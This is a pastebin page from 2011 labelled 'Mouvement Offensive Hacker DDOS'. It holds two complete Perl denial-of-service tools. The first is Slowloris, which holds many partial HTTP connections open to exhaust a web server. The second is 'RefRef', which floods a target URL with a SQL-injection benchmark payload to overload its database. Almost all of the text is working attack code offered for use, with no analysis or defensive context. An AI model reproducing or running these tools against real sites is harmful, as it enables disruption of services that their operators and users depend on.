Guest

Roy'S-Tr@que MOH Mouvement Offensive Hacker

By: a guest on Dec 16th, 2011  |  syntax: Perl  |  size: 13.28 KB  |  hits: 156  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. MOUVEMENT OFFENSIVE HACKER DDOS
  2.  
  3. =================================
  4. Slowloris underground
  5. =================================
  6.  
  7. #!/usr/bin/perl -w
  8. use strict;
  9. use IO::Socket::INET;
  10. use IO::Socket::SSL;
  11. use Getopt::Long;
  12. use Config;
  13.  
  14. $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
  15.  
  16. print <<EOTEXT;
  17. CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
  18. CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
  19. CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
  20. CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
  21. CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
  22. ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
  23. ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
  24. oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
  25. oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
  26. oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
  27. CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
  28. CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
  29. OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
  30. OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
  31. COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
  32. CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
  33. coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
  34. :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
  35. .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
  36. ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
  37. .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
  38. ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
  39. .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
  40.  ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
  41.    .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  42.   .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
  43.        .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
  44.  Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  45. EOTEXT
  46.  
  47. my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  48. my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  49. my $result = GetOptions(
  50.     'shost=s'   => \$shost,
  51.     'dns=s'     => \$host,
  52.     'httpready' => \$httpready,
  53.     'num=i'     => \$connections,
  54.     'cache'     => \$cache,
  55.     'port=i'    => \$port,
  56.     'https'     => \$ssl,
  57.     'tcpto=i'   => \$tcpto,
  58.     'test'      => \$test,
  59.     'timeout=i' => \$timeout,
  60.     'version'   => \$version,
  61. );
  62.  
  63. if ($version) {
  64.     print "Version 0.7\n";
  65.     exit;
  66. }
  67.  
  68. unless ($host) {
  69.     print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  70.     print "\n\tType 'perldoc $0' for help with options.\n\n";
  71.     exit;
  72. }
  73.  
  74. unless ($port) {
  75.     $port = 80;
  76.     print "Defaulting to port 80.\n";
  77. }
  78.  
  79. unless ($tcpto) {
  80.     $tcpto = 5;
  81.     print "Defaulting to a 5 second tcp connection timeout.\n";
  82. }
  83.  
  84. unless ($test) {
  85.     unless ($timeout) {
  86.         $timeout = 100;
  87.         print "Defaulting to a 100 second re-try timeout.\n";
  88.     }
  89.     unless ($connections) {
  90.         $connections = 1000;
  91.         print "Defaulting to 1000 connections.\n";
  92.     }
  93. }
  94.  
  95. my $usemultithreading = 0;
  96. if ( $Config{usethreads} ) {
  97.     print "Multithreading enabled.\n";
  98.     $usemultithreading = 1;
  99.     use threads;
  100.     use threads::shared;
  101. }
  102. else {
  103.     print "No multithreading capabilites found!\n";
  104.     print "Slowloris will be slower than normal as a result.\n";
  105. }
  106.  
  107. my $packetcount : shared     = 0;
  108. my $failed : shared          = 0;
  109. my $connectioncount : shared = 0;
  110.  
  111. srand() if ($cache);
  112.  
  113. if ($shost) {
  114.     $sendhost = $shost;
  115. }
  116. else {
  117.     $sendhost = $host;
  118. }
  119. if ($httpready) {
  120.     $method = "POST";
  121. }
  122. else {
  123.     $method = "GET";
  124. }
  125.  
  126. if ($test) {
  127.     my @times = ( "2", "30", "90", "240", "500" );
  128.     my $totaltime = 0;
  129.     foreach (@times) {
  130.         $totaltime = $totaltime + $_;
  131.     }
  132.     $totaltime = $totaltime / 60;
  133.     print "This test could take up to $totaltime minutes.\n";
  134.  
  135.     my $delay   = 0;
  136.     my $working = 0;
  137.     my $sock;
  138.  
  139.     if ($ssl) {
  140.         if (
  141.             $sock = new IO::Socket::SSL(
  142.                 PeerAddr => "$host",
  143.                 PeerPort => "$port",
  144.                 Timeout  => "$tcpto",
  145.                 Proto    => "tcp",
  146.             )
  147.           )
  148.         {
  149.             $working = 1;
  150.         }
  151.     }
  152.     else {
  153.         if (
  154.             $sock = new IO::Socket::INET(
  155.                 PeerAddr => "$host",
  156.                 PeerPort => "$port",
  157.                 Timeout  => "$tcpto",
  158.                 Proto    => "tcp",
  159.             )
  160.           )
  161.         {
  162.             $working = 1;
  163.         }
  164.     }
  165.     if ($working) {
  166.         if ($cache) {
  167.             $rand = "?" . int( rand(99999999999999) );
  168.         }
  169.         else {
  170.             $rand = "";
  171.         }
  172.         my $primarypayload =
  173.             "GET /$rand HTTP/1.1\r\n"
  174.           . "Host: $sendhost\r\n"
  175.           . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  176.           . "Content-Length: 42\r\n";
  177.         if ( print $sock $primarypayload ) {
  178.             print "Connection successful, now comes the waiting game...\n";
  179.         }
  180.         else {
  181.             print
  182. "That's odd - I connected but couldn't send the data to $host:$port.\n";
  183.             print "Is something wrong?\nDying.\n";
  184.             exit;
  185.         }
  186.     }
  187.     else {
  188.         print "Uhm... I can't connect to $host:$port.\n";
  189.         print "Is something wrong?\nDying.\n";
  190.         exit;
  191.     }
  192.     for ( my $i = 0 ; $i <= $#times ; $i++ ) {
  193.         print "Trying a $times[$i] second delay: \n";
  194.         sleep( $times[$i] );
  195.         if ( print $sock "X-a: b\r\n" ) {
  196.             print "\tWorked.\n";
  197.             $delay = $times[$i];
  198.         }
  199.         else {
  200.             if ( $SIG{__WARN__} ) {
  201.                 $delay = $times[ $i - 1 ];
  202.                 last;
  203.             }
  204.             print "\tFailed after $times[$i] seconds.\n";
  205.         }
  206.     }
  207.  
  208.     if ( print $sock "Connection: Close\r\n\r\n" ) {
  209.         print "Okay that's enough time. Slowloris closed the socket.\n";
  210.         print "Use $delay seconds for -timeout.\n";
  211.         exit;
  212.     }
  213.     else {
  214.         print "Remote server closed socket.\n";
  215.         print "Use $delay seconds for -timeout.\n";
  216.         exit;
  217.     }
  218.     if ( $delay < 166 ) {
  219.         print <<EOSUCKS2BU;
  220. Since the timeout ended up being so small ($delay seconds) and it generally
  221. takes between 200-500 threads for most servers and assuming any latency at
  222. all...  you might have trouble using Slowloris against this target.  You can
  223. tweak the -timeout flag down to less than 10 seconds but it still may not
  224. build the sockets in time.
  225. EOSUCKS2BU
  226.     }
  227. }
  228. else {
  229.     print
  230. "Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  231.  
  232.     if ($usemultithreading) {
  233.         domultithreading($connections);
  234.     }
  235.     else {
  236.         doconnections( $connections, $usemultithreading );
  237.     }
  238. }
  239.  
  240. sub doconnections {
  241.     my ( $num, $usemultithreading ) = @_;
  242.     my ( @first, @sock, @working );
  243.     my $failedconnections = 0;
  244.     $working[$_] = 0 foreach ( 1 .. $num );    #initializing
  245.     $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
  246.     while (1) {
  247.         $failedconnections = 0;
  248.         print "\t\tBuilding sockets.\n";
  249.         foreach my $z ( 1 .. $num ) {
  250.             if ( $working[$z] == 0 ) {
  251.                 if ($ssl) {
  252.                     if (
  253.                         $sock[$z] = new IO::Socket::SSL(
  254.                             PeerAddr => "$host",
  255.                             PeerPort => "$port",
  256.                             Timeout  => "$tcpto",
  257.                             Proto    => "tcp",
  258.                         )
  259.                       )
  260.                     {
  261.                         $working[$z] = 1;
  262.                     }
  263.                     else {
  264.                         $working[$z] = 0;
  265.                     }
  266.                 }
  267.                 else {
  268.                     if (
  269.                         $sock[$z] = new IO::Socket::INET(
  270.                             PeerAddr => "$host",
  271.                             PeerPort => "$port",
  272.                             Timeout  => "$tcpto",
  273.                             Proto    => "tcp",
  274.                         )
  275.                       )
  276.                     {
  277.                         $working[$z] = 1;
  278.                         $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
  279.                     }
  280.                     else {
  281.                         $working[$z] = 0;
  282.                     }
  283.                 }
  284.                 if ( $working[$z] == 1 ) {
  285.                     if ($cache) {
  286.                         $rand = "?" . int( rand(99999999999999) );
  287.                     }
  288.                     else {
  289.                         $rand = "";
  290.                     }
  291.                     my $primarypayload =
  292.                         "$method /$rand HTTP/1.1\r\n"
  293.                       . "Host: $sendhost\r\n"
  294.                       . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  295.                       . "Content-Length: 42\r\n";
  296.                     my $handle = $sock[$z];
  297.                     if ($handle) {
  298.                         print $handle "$primarypayload";
  299.                         if ( $SIG{__WARN__} ) {
  300.                             $working[$z] = 0;
  301.                             close $handle;
  302.                             $failed++;
  303.                             $failedconnections++;
  304.                         }
  305.                         else {
  306.                             $packetcount++;
  307.                             $working[$z] = 1;
  308.                         }
  309.                     }
  310.                     else {
  311.                         $working[$z] = 0;
  312.                         $failed++;
  313.                         $failedconnections++;
  314.                     }
  315.                 }
  316.                 else {
  317.                     $working[$z] = 0;
  318.                     $failed++;
  319.                     $failedconnections++;
  320.                 }
  321.             }
  322.         }
  323.         print "\t\tSending data.\n";
  324.         foreach my $z ( 1 .. $num ) {
  325.             if ( $working[$z] == 1 ) {
  326.                 if ( $sock[$z] ) {
  327.                     my $handle = $sock[$z];
  328.                     if ( print $handle "X-a: b\r\n" ) {
  329.                         $working[$z] = 1;
  330.                         $packetcount++;
  331.                     }
  332.                     else {
  333.                         $working[$z] = 0;
  334.                         #debugging info
  335.                         $failed++;
  336.                         $failedconnections++;
  337.                     }
  338.                 }
  339.                 else {
  340.                     $working[$z] = 0;
  341.                     #debugging info
  342.                     $failed++;
  343.                     $failedconnections++;
  344.                 }
  345.             }
  346.         }
  347.         print
  348. "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
  349.         sleep($timeout);
  350.     }
  351. }
  352.  
  353. sub domultithreading {
  354.     my ($num) = @_;
  355.     my @thrs;
  356.     my $i                    = 0;
  357.     my $connectionsperthread = 50;
  358.     while ( $i < $num ) {
  359.         $thrs[$i] =
  360.           threads->create( \&doconnections, $connectionsperthread, 1 );
  361.         $i += $connectionsperthread;
  362.     }
  363.     my @threadslist = threads->list();
  364.     while ( $#threadslist > 0 ) {
  365.         $failed = 0;
  366.     }
  367. }
  368.  
  369.  
  370.  
  371. MOUVEMENT OFFENSIVE HACKER DDOS
  372.  
  373. =================================
  374. REFREF Anonymous
  375. =================================
  376.  
  377. #!usr/bin/perl
  378. #RefRef (C) Anonymous 2011
  379.  
  380. use LWP::UserAgent;
  381.  
  382. my $nave = LWP::UserAgent->new;
  383. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  384. $nave->timeout(5);
  385.  
  386. head();
  387. if($ARGV[0]) {
  388. now($ARGV[0]);
  389. } else {
  390. sintax();
  391. }
  392. copyright();
  393.  
  394. sub now {
  395. print "\n[+] Target : ".$_[0]."\n";
  396. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  397. while(true) {
  398. $SIG{INT} = \&adios;
  399. $code = toma($_[0]." and (select+benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f))");
  400. unless($code->is_success) {
  401. print "[+] Web Off\n";
  402. copyright();
  403. }}}
  404.  
  405. sub adios {
  406. print "\n[+] Stoping attack\n";
  407. copyright();
  408. }
  409.  
  410. sub head {
  411. print "\n\n-- == #RefRef == --\n\n";
  412. }
  413.  
  414. sub copyright {
  415. print "\n\n-- == RefRef == --\n\n";
  416. exit(1);
  417. }
  418.  
  419. sub sintax {
  420. print "\n[+] Sintax : $0 \n";
  421. }
  422.  
  423. sub toma {
  424. return $nave->get($_[0]);
  425. }
  426.  
  427. # &#191; The End ?